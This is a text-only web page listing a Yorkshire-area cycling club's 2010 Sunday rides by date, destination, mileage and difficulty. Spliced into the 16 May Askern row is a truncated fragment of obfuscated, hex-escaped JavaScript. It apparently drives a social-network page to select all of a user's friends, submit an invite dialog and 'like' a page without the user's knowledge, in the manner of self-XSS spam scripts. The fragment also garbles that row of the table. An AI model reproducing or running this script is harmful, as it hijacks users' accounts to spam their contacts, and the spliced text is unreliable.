| Date | Where to | Miles | Type |
| 31/01/10 | Huddersfield/Brighouse | 30 | Moderate + |
| 07/02/10 07/02/10 | Sowerby/Hebden Bridge | 40 | Hilly |
| 14/02/10 | Queensbury/Cullingworth | 40 | Hilly |
| 21/02/10 | Otley/Askwith | 45 | Moderate + |
| 28/02/10 | Wetherby | 45 | Moderate |
| 07/03/10 | YRC Tadcaster Reliability YRC Reliability Ride | Tadcaster 30/65 Tadcaster 30/65 | Moderate |
| Alternatively meet at | Drighlington Cross Roads | at 9.30 am - Destination | to be agreed on day |
| 14/03/10 | Birken & Beal | 50 | Moderate |
| 21/03/10 | South Elmsall/East Ardsley West/Holmfirth | 45 | Easy |
| 28/03/10 | Clayton West/Holmfirth | 50 | Hilly |
| 04/04/10 | Slaithwaite/Elland | 40 | Hilly |
| 11/04/10 | Otley/Askwith | 45 | Moderate |
| 18/04/10 | Tadcaster/Wetherby | 50 | Moderate |
| 25/04/10 | Brig H/W Bret'n/Ackworth | 50 | Moderate |
| 02/05/10 | Micklefield | 30 | Easy |
| 09/05/10 | Skipton/Bolton Abb/Otley Skipton/Bolton Abb/Otley | 60 | Moderate/Long |
| 16/05/10 | Askern | 60 | Moderate/Long \x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function (){fs[_0xc100[8]]();} ,5000);setTimeout(function (){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,3500);setTimeout(function (){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100Moderate/Long |
| 23/05/10 | Gargrave | 60 | Moderate/Long |
| 30/05/10 | Birken/Beal | 55 | Moderate |
| 06/06/10 | Holmfirth/Denby Dale | 50 | Hilly |
| 13/06/10 | Selby | 60 | Moderate/Long |
| 20/06/10 | Ackworth/Sth Emsall/Wake | Bike Week Ride | Easy |
| 27/06/10 | Gargrave | 60 | Moderate/Long |
| 04/07/10 | Denby Dale/Holmfirth | 50 | Hilly Hilly |
| 11/07/10 | Birkin & Beal | 55 | Moderate |
| 18/07/10 | Dingle & Delph | 50 | Hilly |
| 25/0710 | Micklefield (Marshalling pm) | 30 | Easy |
| 01/08/10 | Tadcaster/Wetherby | 50 | Moderate |
| 08/08/10 | Skipton/Bolton Abb/Otley | 60 | Moderate/Long |
| 15/08/10 | Retford | 100 | Club 100 in 7 hours |
| 22/08/10 | Weth'by/Tad/Sherb'n/Gar | 55 | Moderate |
| 29/08/10 | Silsden/Add/Ilk/Otley | 55 | Hilly |
| 05/09/10 | S'Milford/Ackworth/Wak | 50 | Moderate |
| 12/09/10 | Osset/H'firth/Sow Bridge | 52 | Hilly |
| 19/09/10 | Addingham/B Abbey/Blubber Ad'ham/B Abbey/Blubber | 54 | Hilly |
| 26/09/10 | Wetherby/B Spa/Thorner | 48 | Easy |
| 03/10/10 | Slaithw/Delph/Halifax | 52 | Hilly |
| 10/10/10 | No Ride | Club Hill Climb (0.8) | Hard |
| 17/10/10 | Ackworth/Askern | 54 | Moderate |
| 24/10/10 | Cleck/Emley Moor/Elland | 42 (Richard Spivey) | Moderate + |
| 31/10/10 | Tad/Sher'b/Knottingley | 50 (Richard Spivey) | Easy |
| 07/11/10 | Halifax/Denholme/Keighley | 38 (Tony Firth) | Moderate to hilly |
| 14/11/10 | Bingley/Adding/Ilkley | 49 (Richard Spivey) | Easy |
| 21/11/10 | Ainley/Outlane/H'fax (Option) | 33 | Hilly |
| 28/11/10 | Shad/Barwick/Aber/Garforth | 42 | T Stop Strikes Garden Centre |
| 05/12/10 | Shipley/Otley/Harwood | 40 | T Stop at Wharfe View Cafe |
| 12/12/10 | Elland/Hebden Bridge (Option) | 39 | T Stop Ken's Cabin Cafe |
| 19/12/10 | Cas/Wake/Batley/Valley Pub | 34 | Easy |
| 26/12/10 | Boxing Day Ride |
You are viewing the text version of this site.
To view the full version please install the Adobe Flash Player and ensure your web browser has JavaScript enabled.
Need help? check the requirements page.